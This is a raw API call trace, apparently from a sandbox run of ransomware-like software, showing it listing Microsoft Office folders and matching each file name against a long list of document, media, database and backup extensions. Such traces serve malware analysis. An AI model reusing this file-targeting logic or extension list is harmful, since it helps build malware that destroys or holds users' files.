[0091.184] lstrlenW (lpString=".ppsm") returned 5 [0091.184] lstrcmpiW (lpString1=".ppsm", lpString2="M.XML") returned -1 [0091.184] lstrlenW (lpString=".ppt") returned 4 [0091.184] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0091.184] lstrlenW (lpString=".pptm") returned 5 [0091.184] lstrcmpiW (lpString1=".pptm", lpString2="M.XML") returned -1 [0091.185] lstrlenW (lpString=".pptx") returned 5 [0091.185] lstrcmpiW (lpString1=".pptx", lpString2="M.XML") returned -1 [0091.185] lstrlenW (lpString=".prn") returned 4 [0091.185] lstrcmpiW (lpString1=".prn", lpString2=".XML") returned -1 [0091.185] lstrlenW (lpString=".ps") returned 3 [0091.185] lstrcmpiW (lpString1=".ps", lpString2="XML") returned -1 [0091.185] lstrlenW (lpString=".psb") returned 4 [0091.185] lstrcmpiW (lpString1=".psb", lpString2=".XML") returned -1 [0091.185] lstrlenW (lpString=".psd") returned 4 [0091.185] lstrcmpiW (lpString1=".psd", lpString2=".XML") returned -1 [0091.185] lstrlenW (lpString=".pst") returned 4 [0091.185] lstrcmpiW (lpString1=".pst", lpString2=".XML") returned -1 [0091.185] lstrlenW (lpString=".ptx") returned 4 [0091.185] lstrcmpiW (lpString1=".ptx", lpString2=".XML") returned -1 [0091.185] lstrlenW (lpString=".pub") returned 4 [0091.186] lstrcmpiW (lpString1=".pub", lpString2=".XML") returned -1 [0091.186] lstrlenW (lpString=".pwm") returned 4 [0091.186] lstrcmpiW (lpString1=".pwm", lpString2=".XML") returned -1 [0091.186] lstrlenW (lpString=".pxr") returned 4 [0091.186] lstrcmpiW (lpString1=".pxr", lpString2=".XML") returned -1 [0091.186] lstrlenW (lpString=".py") returned 3 [0091.186] lstrcmpiW (lpString1=".py", lpString2="XML") returned -1 [0091.186] lstrlenW (lpString=".qt") returned 3 [0091.186] lstrcmpiW (lpString1=".qt", lpString2="XML") returned -1 [0091.186] lstrlenW (lpString=".r3d") returned 4 [0091.186] lstrcmpiW (lpString1=".r3d", lpString2=".XML") returned -1 [0091.186] lstrlenW (lpString=".raf") returned 4 [0091.186] lstrcmpiW (lpString1=".raf", lpString2=".XML") returned -1 [0091.186] lstrlenW (lpString=".rar") returned 4 [0091.186] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0091.187] lstrcmpiW (lpString1=".raw", lpString2=".XML") returned -1 [0091.187] lstrcmpiW (lpString1=".rdf", lpString2=".XML") returned -1 [0091.188] FindClose (in: hFindFile=0x39742b0 | out: hFindFile=0x39742b0) returned 1 [0091.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f00060 | out: hHeap=0x5b0000) returned 1 [0091.188] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb390, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0091.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3f00060 [0091.189] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39742b0 [0091.692] FindNextFileW (in: hFindFile=0x39742b0, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.692] FindNextFileW (in: hFindFile=0x39742b0, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa887a200, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa887a200, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="+Connect to New Data Source.odc", cAlternateFileName="_CONNE~1.ODC")) returned 1 [0091.692] lstrlenW (lpString="+Connect to New Data Source.odc") returned 31 [0091.692] lstrlenW (lpString=".1cd") returned 4 [0091.692] lstrcmpiW (lpString1=".1cd", lpString2=".odc") returned -1 [0091.692] lstrlenW (lpString=".3ds") returned 4 [0091.692] lstrcmpiW (lpString1=".3ds", lpString2=".odc") returned -1 [0091.692] lstrlenW (lpString=".3fr") returned 4 [0091.692] lstrcmpiW (lpString1=".3fr", lpString2=".odc") returned -1 [0091.693] lstrlenW (lpString=".3g2") returned 4 [0091.693] lstrcmpiW (lpString1=".3g2", lpString2=".odc") returned -1 [0091.693] lstrlenW (lpString=".3gp") returned 4 [0091.693] lstrcmpiW (lpString1=".3gp", lpString2=".odc") returned -1 [0091.693] lstrlenW (lpString=".7z") returned 3 [0091.693] lstrcmpiW (lpString1=".7z", lpString2="odc") returned -1 [0091.693] lstrlenW (lpString=".accda") returned 6 [0091.693] lstrcmpiW (lpString1=".accda", lpString2="ce.odc") returned -1 [0091.693] lstrlenW (lpString=".accdb") returned 6 [0091.693] lstrcmpiW (lpString1=".accdb", lpString2="ce.odc") returned -1 [0091.693] lstrlenW (lpString=".accdc") returned 6 [0091.693] lstrcmpiW (lpString1=".accdc", lpString2="ce.odc") returned -1 [0091.693] lstrlenW (lpString=".accde") returned 6 [0091.693] lstrcmpiW (lpString1=".accde", lpString2="ce.odc") returned -1 [0091.694] lstrlenW (lpString=".accdt") returned 6 [0091.694] lstrcmpiW (lpString1=".accdt", lpString2="ce.odc") returned -1 [0091.694] lstrlenW (lpString=".accdw") returned 6 [0091.694] lstrcmpiW (lpString1=".accdw", lpString2="ce.odc") returned -1 [0091.694] lstrlenW (lpString=".adb") returned 4 [0091.694] lstrcmpiW (lpString1=".adb", lpString2=".odc") returned -1 [0091.694] lstrlenW (lpString=".adp") returned 4 [0091.694] lstrcmpiW (lpString1=".adp", lpString2=".odc") returned -1 [0091.694] lstrlenW (lpString=".ai") returned 3 [0091.694] lstrcmpiW (lpString1=".ai", lpString2="odc") returned -1 [0091.694] lstrlenW (lpString=".ai3") returned 4 [0091.694] lstrcmpiW (lpString1=".ai3", lpString2=".odc") returned -1 [0091.694] lstrlenW (lpString=".ai4") returned 4 [0091.694] lstrcmpiW (lpString1=".ai4", lpString2=".odc") returned -1 [0091.694] lstrlenW (lpString=".ai5") returned 4 [0091.695] lstrcmpiW (lpString1=".ai5", lpString2=".odc") returned -1 [0091.695] lstrlenW (lpString=".ai6") returned 4 [0091.695] lstrcmpiW (lpString1=".ai6", lpString2=".odc") returned -1 [0091.695] lstrlenW (lpString=".ai7") returned 4 [0091.695] lstrcmpiW (lpString1=".ai7", lpString2=".odc") returned -1 [0091.695] lstrlenW (lpString=".ai8") returned 4 [0091.695] lstrcmpiW (lpString1=".ai8", lpString2=".odc") returned -1 [0091.695] lstrlenW (lpString=".anim") returned 5 [0091.695] lstrcmpiW (lpString1=".anim", lpString2="e.odc") returned -1 [0091.695] lstrlenW (lpString=".arw") returned 4 [0091.695] lstrcmpiW (lpString1=".arw", lpString2=".odc") returned -1 [0091.695] lstrlenW (lpString=".as") returned 3 [0091.696] lstrcmpiW (lpString1=".as", lpString2="odc") returned -1 [0091.696] lstrlenW (lpString=".asa") returned 4 [0091.696] lstrcmpiW (lpString1=".asa", lpString2=".odc") returned -1 [0091.696] lstrlenW (lpString=".asc") returned 4 [0091.696] lstrcmpiW (lpString1=".asc", lpString2=".odc") returned -1 [0091.696] lstrlenW (lpString=".ascx") returned 5 [0091.696] lstrcmpiW (lpString1=".ascx", lpString2="e.odc") returned -1 [0091.696] lstrlenW (lpString=".asm") returned 4 [0091.696] lstrcmpiW (lpString1=".asm", lpString2=".odc") returned -1 [0091.696] lstrlenW (lpString=".asmx") returned 5 [0091.696] lstrcmpiW (lpString1=".asmx", lpString2="e.odc") returned -1 [0091.697] lstrlenW (lpString=".asp") returned 4 [0091.697] lstrcmpiW (lpString1=".asp", lpString2=".odc") returned -1 [0091.697] lstrlenW (lpString=".aspx") returned 5 [0091.697] lstrcmpiW (lpString1=".aspx", lpString2="e.odc") returned -1 [0091.697] lstrlenW (lpString=".asr") returned 4 [0091.697] lstrcmpiW (lpString1=".asr", lpString2=".odc") returned -1 [0091.697] lstrlenW (lpString=".asx") returned 4 [0091.697] lstrcmpiW (lpString1=".asx", lpString2=".odc") returned -1 [0091.697] lstrlenW (lpString=".avi") returned 4 [0091.697] lstrcmpiW (lpString1=".avi", lpString2=".odc") returned -1 [0091.697] lstrlenW (lpString=".avs") returned 4 [0091.697] lstrcmpiW (lpString1=".avs", lpString2=".odc") returned -1 [0091.697] lstrlenW (lpString=".backup") returned 7 [0091.698] lstrcmpiW (lpString1=".backup", lpString2="rce.odc") returned -1 [0091.698] lstrlenW (lpString=".bak") returned 4 [0091.698] lstrcmpiW (lpString1=".bak", lpString2=".odc") returned -1 [0091.698] lstrlenW (lpString=".bay") returned 4 [0091.698] lstrcmpiW (lpString1=".bay", lpString2=".odc") returned -1 [0091.698] lstrlenW (lpString=".bd") returned 3 [0091.698] lstrcmpiW (lpString1=".bd", lpString2="odc") returned -1 [0091.698] lstrlenW (lpString=".bin") returned 4 [0091.698] lstrcmpiW (lpString1=".bin", lpString2=".odc") returned -1 [0091.698] lstrlenW (lpString=".bmp") returned 4 [0091.698] lstrcmpiW (lpString1=".bmp", lpString2=".odc") returned -1 [0091.699] lstrlenW (lpString=".bz2") returned 4 [0091.699] lstrcmpiW (lpString1=".bz2", lpString2=".odc") returned -1 [0091.699] lstrlenW (lpString=".c") returned 2 [0091.699] lstrcmpiW (lpString1=".c", lpString2="dc") returned -1 [0091.699] lstrlenW (lpString=".cdr") returned 4 [0091.699] lstrcmpiW (lpString1=".cdr", lpString2=".odc") returned -1 [0091.699] lstrlenW (lpString=".cer") returned 4 [0091.699] lstrcmpiW (lpString1=".cer", lpString2=".odc") returned -1 [0091.699] lstrlenW (lpString=".cf") returned 3 [0091.699] lstrcmpiW (lpString1=".cf", lpString2="odc") returned -1 [0091.699] lstrlenW (lpString=".cfc") returned 4 [0091.699] lstrcmpiW (lpString1=".cfc", lpString2=".odc") returned -1 [0091.700] lstrlenW (lpString=".cfm") returned 4 [0091.700] lstrcmpiW (lpString1=".cfm", lpString2=".odc") returned -1 [0091.700] lstrlenW (lpString=".cfml") returned 5 [0091.700] lstrcmpiW (lpString1=".cfml", lpString2="e.odc") returned -1 [0091.700] lstrlenW (lpString=".cfu") returned 4 [0091.700] lstrcmpiW (lpString1=".cfu", lpString2=".odc") returned -1 [0091.700] lstrlenW (lpString=".chm") returned 4 [0091.700] lstrcmpiW (lpString1=".chm", lpString2=".odc") returned -1 [0091.700] lstrlenW (lpString=".cin") returned 4 [0091.700] lstrcmpiW (lpString1=".cin", lpString2=".odc") returned -1 [0091.700] lstrlenW (lpString=".class") returned 6 [0091.700] lstrcmpiW (lpString1=".class", lpString2="ce.odc") returned -1 [0091.700] lstrlenW (lpString=".clx") returned 4 [0091.700] lstrcmpiW (lpString1=".clx", lpString2=".odc") returned -1 [0091.700] lstrlenW (lpString=".config") returned 7 [0091.700] lstrcmpiW (lpString1=".config", lpString2="rce.odc") returned -1 [0091.700] lstrlenW (lpString=".cpp") returned 4 [0091.701] lstrcmpiW (lpString1=".cpp", lpString2=".odc") returned -1 [0091.701] lstrlenW (lpString=".cr2") returned 4 [0091.701] lstrcmpiW (lpString1=".cr2", lpString2=".odc") returned -1 [0091.701] lstrlenW (lpString=".crt") returned 4 [0091.701] lstrcmpiW (lpString1=".crt", lpString2=".odc") returned -1 [0091.701] lstrlenW (lpString=".crw") returned 4 [0091.701] lstrcmpiW (lpString1=".crw", lpString2=".odc") returned -1 [0091.701] lstrlenW (lpString=".cs") returned 3 [0091.701] lstrcmpiW (lpString1=".cs", lpString2="odc") returned -1 [0091.701] lstrlenW (lpString=".css") returned 4 [0091.701] lstrcmpiW (lpString1=".css", lpString2=".odc") returned -1 [0091.701] lstrlenW (lpString=".csv") returned 4 [0091.701] lstrcmpiW (lpString1=".csv", lpString2=".odc") returned -1 [0091.701] lstrlenW (lpString=".cub") returned 4 [0091.701] lstrcmpiW (lpString1=".cub", lpString2=".odc") returned -1 [0091.701] lstrlenW (lpString=".dae") returned 4 [0091.701] lstrcmpiW (lpString1=".dae", lpString2=".odc") returned -1 [0091.701] lstrlenW (lpString=".dat") returned 4 [0091.702] lstrcmpiW (lpString1=".dat", lpString2=".odc") returned -1 [0091.702] lstrlenW (lpString=".db") returned 3 [0091.702] lstrcmpiW (lpString1=".db", lpString2="odc") returned -1 [0091.702] lstrlenW (lpString=".dbf") returned 4 [0091.702] lstrcmpiW (lpString1=".dbf", lpString2=".odc") returned -1 [0091.702] lstrlenW (lpString=".dbx") returned 4 [0091.702] lstrcmpiW (lpString1=".dbx", lpString2=".odc") returned -1 [0091.702] lstrlenW (lpString=".dc3") returned 4 [0091.702] lstrcmpiW (lpString1=".dc3", lpString2=".odc") returned -1 [0091.702] lstrlenW (lpString=".dcm") returned 4 [0091.702] lstrcmpiW (lpString1=".dcm", lpString2=".odc") returned -1 [0091.702] lstrlenW (lpString=".dcr") returned 4 [0091.702] lstrcmpiW (lpString1=".dcr", lpString2=".odc") returned -1 [0091.702] lstrlenW (lpString=".der") returned 4 [0091.702] lstrcmpiW (lpString1=".der", lpString2=".odc") returned -1 [0091.702] lstrlenW (lpString=".dib") returned 4 [0091.702] lstrcmpiW (lpString1=".dib", lpString2=".odc") returned -1 [0091.702] lstrlenW (lpString=".dic") returned 4 [0091.702] lstrcmpiW (lpString1=".dic", lpString2=".odc") returned -1 [0091.702] lstrlenW (lpString=".dif") returned 4 [0091.703] lstrcmpiW (lpString1=".dif", lpString2=".odc") returned -1 [0091.703] lstrlenW (lpString=".divx") returned 5 [0091.703] lstrcmpiW (lpString1=".divx", lpString2="e.odc") returned -1 [0091.703] lstrlenW (lpString=".djvu") returned 5 [0091.703] lstrcmpiW (lpString1=".djvu", lpString2="e.odc") returned -1 [0091.703] lstrlenW (lpString=".dng") returned 4 [0091.703] lstrcmpiW (lpString1=".dng", lpString2=".odc") returned -1 [0091.703] lstrlenW (lpString=".doc") returned 4 [0091.703] lstrcmpiW (lpString1=".doc", lpString2=".odc") returned -1 [0091.703] lstrlenW (lpString=".docm") returned 5 [0091.703] lstrcmpiW (lpString1=".docm", lpString2="e.odc") returned -1 [0091.703] lstrlenW (lpString=".docx") returned 5 [0091.703] lstrcmpiW (lpString1=".docx", lpString2="e.odc") returned -1 [0091.703] lstrlenW (lpString=".dot") returned 4 [0091.703] lstrcmpiW (lpString1=".dot", lpString2=".odc") returned -1 [0091.703] lstrlenW (lpString=".dotm") returned 5 [0091.703] lstrcmpiW (lpString1=".dotm", lpString2="e.odc") returned -1 [0091.703] lstrlenW (lpString=".dotx") returned 5 [0091.703] lstrcmpiW (lpString1=".dotx", lpString2="e.odc") returned -1 [0091.703] lstrlenW (lpString=".dpx") returned 4 [0091.703] lstrcmpiW (lpString1=".dpx", lpString2=".odc") returned -1 [0091.703] lstrlenW (lpString=".dqy") returned 4 [0091.704] lstrcmpiW (lpString1=".dqy", lpString2=".odc") returned -1 [0091.704] lstrlenW (lpString=".dsn") returned 4 [0091.704] lstrcmpiW (lpString1=".dsn", lpString2=".odc") returned -1 [0091.704] lstrlenW (lpString=".dt") returned 3 [0091.705] lstrcmpiW (lpString1=".dt", lpString2="odc") returned -1 [0091.705] lstrlenW (lpString=".dtd") returned 4 [0091.705] lstrcmpiW (lpString1=".dtd", lpString2=".odc") returned -1 [0091.705] lstrlenW (lpString=".dwg") returned 4 [0091.705] lstrcmpiW (lpString1=".dwg", lpString2=".odc") returned -1 [0091.705] lstrlenW (lpString=".dwt") returned 4 [0091.705] lstrcmpiW (lpString1=".dwt", lpString2=".odc") returned -1 [0091.705] lstrlenW (lpString=".dx") returned 3 [0091.705] lstrcmpiW (lpString1=".dx", lpString2="odc") returned -1 [0091.705] lstrlenW (lpString=".dxf") returned 4 [0091.705] lstrcmpiW (lpString1=".dxf", lpString2=".odc") returned -1 [0091.705] lstrlenW (lpString=".edml") returned 5 [0091.705] lstrcmpiW (lpString1=".edml", lpString2="e.odc") returned -1 [0091.706] lstrlenW (lpString=".efd") returned 4 [0091.706] lstrcmpiW (lpString1=".efd", lpString2=".odc") returned -1 [0091.706] lstrlenW (lpString=".elf") returned 4 [0091.706] lstrcmpiW (lpString1=".elf", lpString2=".odc") returned -1 [0091.706] lstrlenW (lpString=".emf") returned 4 [0091.706] lstrcmpiW (lpString1=".emf", lpString2=".odc") returned -1 [0091.706] lstrlenW (lpString=".emz") returned 4 [0091.706] lstrcmpiW (lpString1=".emz", lpString2=".odc") returned -1 [0091.706] lstrlenW (lpString=".epf") returned 4 [0091.706] lstrcmpiW (lpString1=".epf", lpString2=".odc") returned -1 [0091.706] lstrlenW (lpString=".eps") returned 4 [0091.706] lstrcmpiW (lpString1=".eps", lpString2=".odc") returned -1 [0091.706] lstrlenW (lpString=".epsf") returned 5 [0091.706] lstrcmpiW (lpString1=".epsf", lpString2="e.odc") returned -1 [0091.706] lstrlenW (lpString=".epsp") returned 5 [0091.706] lstrcmpiW (lpString1=".epsp", lpString2="e.odc") returned -1 [0091.706] lstrlenW (lpString=".erf") returned 4 [0091.706] lstrcmpiW (lpString1=".erf", lpString2=".odc") returned -1 [0091.706] lstrlenW (lpString=".exr") returned 4 [0091.706] lstrcmpiW (lpString1=".exr", lpString2=".odc") returned -1 [0091.707] lstrlenW (lpString=".f4v") returned 4 [0091.707] lstrcmpiW (lpString1=".f4v", lpString2=".odc") returned -1 [0091.707] lstrlenW (lpString=".fido") returned 5 [0091.707] lstrcmpiW (lpString1=".fido", lpString2="e.odc") returned -1 [0091.707] lstrlenW (lpString=".flm") returned 4 [0091.707] lstrcmpiW (lpString1=".flm", lpString2=".odc") returned -1 [0091.707] lstrlenW (lpString=".flv") returned 4 [0091.707] lstrcmpiW (lpString1=".flv", lpString2=".odc") returned -1 [0091.707] lstrlenW (lpString=".frm") returned 4 [0091.707] lstrcmpiW (lpString1=".frm", lpString2=".odc") returned -1 [0091.707] lstrlenW (lpString=".fxg") returned 4 [0091.707] lstrcmpiW (lpString1=".fxg", lpString2=".odc") returned -1 [0091.707] lstrlenW (lpString=".geo") returned 4 [0091.707] lstrcmpiW (lpString1=".geo", lpString2=".odc") returned -1 [0091.707] lstrlenW (lpString=".gif") returned 4 [0091.707] lstrcmpiW (lpString1=".gif", lpString2=".odc") returned -1 [0091.707] lstrlenW (lpString=".grs") returned 4 [0091.707] lstrcmpiW (lpString1=".grs", lpString2=".odc") returned -1 [0091.707] lstrlenW (lpString=".gz") returned 3 [0091.707] lstrcmpiW (lpString1=".gz", lpString2="odc") returned -1 [0091.708] lstrlenW (lpString=".h") returned 2 [0091.708] lstrcmpiW (lpString1=".h", lpString2="dc") returned -1 [0091.708] lstrlenW (lpString=".hdr") returned 4 [0091.708] lstrcmpiW (lpString1=".hdr", lpString2=".odc") returned -1 [0091.708] lstrlenW (lpString=".hpp") returned 4 [0091.708] lstrcmpiW (lpString1=".hpp", lpString2=".odc") returned -1 [0091.708] lstrlenW (lpString=".hta") returned 4 [0091.708] lstrcmpiW (lpString1=".hta", lpString2=".odc") returned -1 [0091.708] lstrlenW (lpString=".htc") returned 4 [0091.708] lstrcmpiW (lpString1=".htc", lpString2=".odc") returned -1 [0091.708] lstrlenW (lpString=".htm") returned 4 [0091.708] lstrcmpiW (lpString1=".htm", lpString2=".odc") returned -1 [0091.708] lstrlenW (lpString=".html") returned 5 [0091.708] lstrcmpiW (lpString1=".html", lpString2="e.odc") returned -1 [0091.708] lstrlenW (lpString=".icb") returned 4 [0091.708] lstrcmpiW (lpString1=".icb", lpString2=".odc") returned -1 [0091.708] lstrlenW (lpString=".ics") returned 4 [0091.708] lstrcmpiW (lpString1=".ics", lpString2=".odc") returned -1 [0091.708] lstrlenW (lpString=".iff") returned 4 [0091.709] lstrcmpiW (lpString1=".iff", lpString2=".odc") returned -1 [0091.709] lstrlenW (lpString=".inc") returned 4 [0091.709] lstrcmpiW (lpString1=".inc", lpString2=".odc") returned -1 [0091.709] lstrlenW (lpString=".indd") returned 5 [0091.709] lstrcmpiW (lpString1=".indd", lpString2="e.odc") returned -1 [0091.709] lstrlenW (lpString=".ini") returned 4 [0091.709] lstrcmpiW (lpString1=".ini", lpString2=".odc") returned -1 [0091.709] lstrlenW (lpString=".iqy") returned 4 [0091.709] lstrcmpiW (lpString1=".iqy", lpString2=".odc") returned -1 [0091.709] lstrlenW (lpString=".j2c") returned 4 [0091.709] lstrcmpiW (lpString1=".j2c", lpString2=".odc") returned -1 [0091.709] lstrlenW (lpString=".j2k") returned 4 [0091.709] lstrcmpiW (lpString1=".j2k", lpString2=".odc") returned -1 [0091.709] lstrlenW (lpString=".java") returned 5 [0091.709] lstrcmpiW (lpString1=".java", lpString2="e.odc") returned -1 [0091.709] lstrlenW (lpString=".jp2") returned 4 [0091.709] lstrcmpiW (lpString1=".jp2", lpString2=".odc") returned -1 [0091.709] lstrlenW (lpString=".jpc") returned 4 [0091.709] lstrcmpiW (lpString1=".jpc", lpString2=".odc") returned -1 [0091.709] lstrlenW (lpString=".jpe") returned 4 [0091.710] lstrcmpiW (lpString1=".jpe", lpString2=".odc") returned -1 [0091.710] lstrlenW (lpString=".jpeg") returned 5 [0091.710] lstrcmpiW (lpString1=".jpeg", lpString2="e.odc") returned -1 [0091.710] lstrlenW (lpString=".jpf") returned 4 [0091.710] lstrcmpiW (lpString1=".jpf", lpString2=".odc") returned -1 [0091.710] lstrlenW (lpString=".jpg") returned 4 [0091.710] lstrcmpiW (lpString1=".jpg", lpString2=".odc") returned -1 [0091.710] lstrlenW (lpString=".jpx") returned 4 [0091.710] lstrcmpiW (lpString1=".jpx", lpString2=".odc") returned -1 [0091.710] lstrlenW (lpString=".js") returned 3 [0091.710] lstrcmpiW (lpString1=".js", lpString2="odc") returned -1 [0091.710] lstrlenW (lpString=".jsf") returned 4 [0091.710] lstrcmpiW (lpString1=".jsf", lpString2=".odc") returned -1 [0091.710] lstrlenW (lpString=".json") returned 5 [0091.710] lstrcmpiW (lpString1=".json", lpString2="e.odc") returned -1 [0091.710] lstrlenW (lpString=".jsp") returned 4 [0091.710] lstrcmpiW (lpString1=".jsp", lpString2=".odc") returned -1 [0091.710] lstrlenW (lpString=".kdc") returned 4 [0091.710] lstrcmpiW (lpString1=".kdc", lpString2=".odc") returned -1 [0091.710] lstrlenW (lpString=".kmz") returned 4 [0091.710] lstrcmpiW (lpString1=".kmz", lpString2=".odc") returned -1 [0091.710] lstrlenW (lpString=".kwm") returned 4 [0091.711] lstrcmpiW (lpString1=".kwm", lpString2=".odc") returned -1 [0091.711] lstrlenW (lpString=".lasso") returned 6 [0091.711] lstrcmpiW (lpString1=".lasso", lpString2="ce.odc") returned -1 [0091.711] lstrlenW (lpString=".lbi") returned 4 [0091.711] lstrcmpiW (lpString1=".lbi", lpString2=".odc") returned -1 [0091.711] lstrlenW (lpString=".lgf") returned 4 [0091.711] lstrcmpiW (lpString1=".lgf", lpString2=".odc") returned -1 [0091.711] lstrlenW (lpString=".lgp") returned 4 [0091.711] lstrcmpiW (lpString1=".lgp", lpString2=".odc") returned -1 [0091.711] lstrlenW (lpString=".log") returned 4 [0091.711] lstrcmpiW (lpString1=".log", lpString2=".odc") returned -1 [0091.711] lstrlenW (lpString=".m1v") returned 4 [0091.711] lstrcmpiW (lpString1=".m1v", lpString2=".odc") returned -1 [0091.711] lstrlenW (lpString=".m4a") returned 4 [0091.711] lstrcmpiW (lpString1=".m4a", lpString2=".odc") returned -1 [0091.711] lstrlenW (lpString=".m4v") returned 4 [0091.711] lstrcmpiW (lpString1=".m4v", lpString2=".odc") returned -1 [0091.711] lstrlenW (lpString=".max") returned 4 [0091.711] lstrcmpiW (lpString1=".max", lpString2=".odc") returned -1 [0091.711] lstrlenW (lpString=".md") returned 3 [0091.711] lstrcmpiW (lpString1=".md", lpString2="odc") returned -1 [0091.711] lstrlenW (lpString=".mda") returned 4 [0091.711] lstrcmpiW (lpString1=".mda", lpString2=".odc") returned -1 [0091.711] lstrlenW (lpString=".mdb") returned 4 [0091.712] lstrcmpiW (lpString1=".mdb", lpString2=".odc") returned -1 [0091.712] lstrlenW (lpString=".mde") returned 4 [0091.712] lstrcmpiW (lpString1=".mde", lpString2=".odc") returned -1 [0091.712] lstrlenW (lpString=".mdf") returned 4 [0091.712] lstrcmpiW (lpString1=".mdf", lpString2=".odc") returned -1 [0091.712] lstrlenW (lpString=".mdw") returned 4 [0091.712] lstrcmpiW (lpString1=".mdw", lpString2=".odc") returned -1 [0091.712] lstrlenW (lpString=".mef") returned 4 [0091.712] lstrcmpiW (lpString1=".mef", lpString2=".odc") returned -1 [0091.712] lstrlenW (lpString=".mft") returned 4 [0091.712] lstrcmpiW (lpString1=".mft", lpString2=".odc") returned -1 [0091.712] lstrlenW (lpString=".mfw") returned 4 [0091.712] lstrcmpiW (lpString1=".mfw", lpString2=".odc") returned -1 [0091.712] lstrlenW (lpString=".mht") returned 4 [0091.712] lstrcmpiW (lpString1=".mht", lpString2=".odc") returned -1 [0091.712] lstrlenW (lpString=".mhtml") returned 6 [0091.712] lstrcmpiW (lpString1=".mhtml", lpString2="ce.odc") returned -1 [0091.712] lstrlenW (lpString=".mka") returned 4 [0091.712] lstrcmpiW (lpString1=".mka", lpString2=".odc") returned -1 [0091.712] lstrlenW (lpString=".mkidx") returned 6 [0091.712] lstrcmpiW (lpString1=".mkidx", lpString2="ce.odc") returned -1 [0091.712] lstrlenW (lpString=".mkv") returned 4 [0091.713] lstrcmpiW (lpString1=".mkv", lpString2=".odc") returned -1 [0091.713] lstrlenW (lpString=".mos") returned 4 [0091.713] lstrcmpiW (lpString1=".mos", lpString2=".odc") returned -1 [0091.713] lstrlenW (lpString=".mov") returned 4 [0091.713] lstrcmpiW (lpString1=".mov", lpString2=".odc") returned -1 [0091.713] lstrlenW (lpString=".mp3") returned 4 [0091.713] lstrcmpiW (lpString1=".mp3", lpString2=".odc") returned -1 [0091.713] lstrlenW (lpString=".mp4") returned 4 [0091.713] lstrcmpiW (lpString1=".mp4", lpString2=".odc") returned -1 [0091.713] lstrlenW (lpString=".mpeg") returned 5 [0091.713] lstrcmpiW (lpString1=".mpeg", lpString2="e.odc") returned -1 [0091.713] lstrlenW (lpString=".mpg") returned 4 [0091.713] lstrcmpiW (lpString1=".mpg", lpString2=".odc") returned -1 [0091.713] lstrlenW (lpString=".mpv") returned 4 [0091.713] lstrcmpiW (lpString1=".mpv", lpString2=".odc") returned -1 [0091.713] lstrlenW (lpString=".mrw") returned 4 [0091.713] lstrcmpiW (lpString1=".mrw", lpString2=".odc") returned -1 [0091.713] lstrlenW (lpString=".msg") returned 4 [0091.713] lstrcmpiW (lpString1=".msg", lpString2=".odc") returned -1 [0091.713] lstrlenW (lpString=".mxl") returned 4 [0091.713] lstrcmpiW (lpString1=".mxl", lpString2=".odc") returned -1 [0091.714] lstrlenW (lpString=".myd") returned 4 [0091.714] lstrcmpiW (lpString1=".myd", lpString2=".odc") returned -1 [0091.714] lstrlenW (lpString=".myi") returned 4 [0091.714] lstrcmpiW (lpString1=".myi", lpString2=".odc") returned -1 [0091.714] lstrlenW (lpString=".nef") returned 4 [0091.714] lstrcmpiW (lpString1=".nef", lpString2=".odc") returned -1 [0091.714] lstrlenW (lpString=".nrw") returned 4 [0091.714] lstrcmpiW (lpString1=".nrw", lpString2=".odc") returned -1 [0091.714] lstrlenW (lpString=".obj") returned 4 [0091.714] lstrcmpiW (lpString1=".obj", lpString2=".odc") returned -1 [0091.714] lstrlenW (lpString=".odb") returned 4 [0091.714] lstrcmpiW (lpString1=".odb", lpString2=".odc") returned -1 [0091.714] lstrlenW (lpString=".odc") returned 4 [0091.714] lstrcmpiW (lpString1=".odc", lpString2=".odc") returned 0 [0091.714] FindNextFileW (in: hFindFile=0x39742b0, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6254800, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa6254800, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, 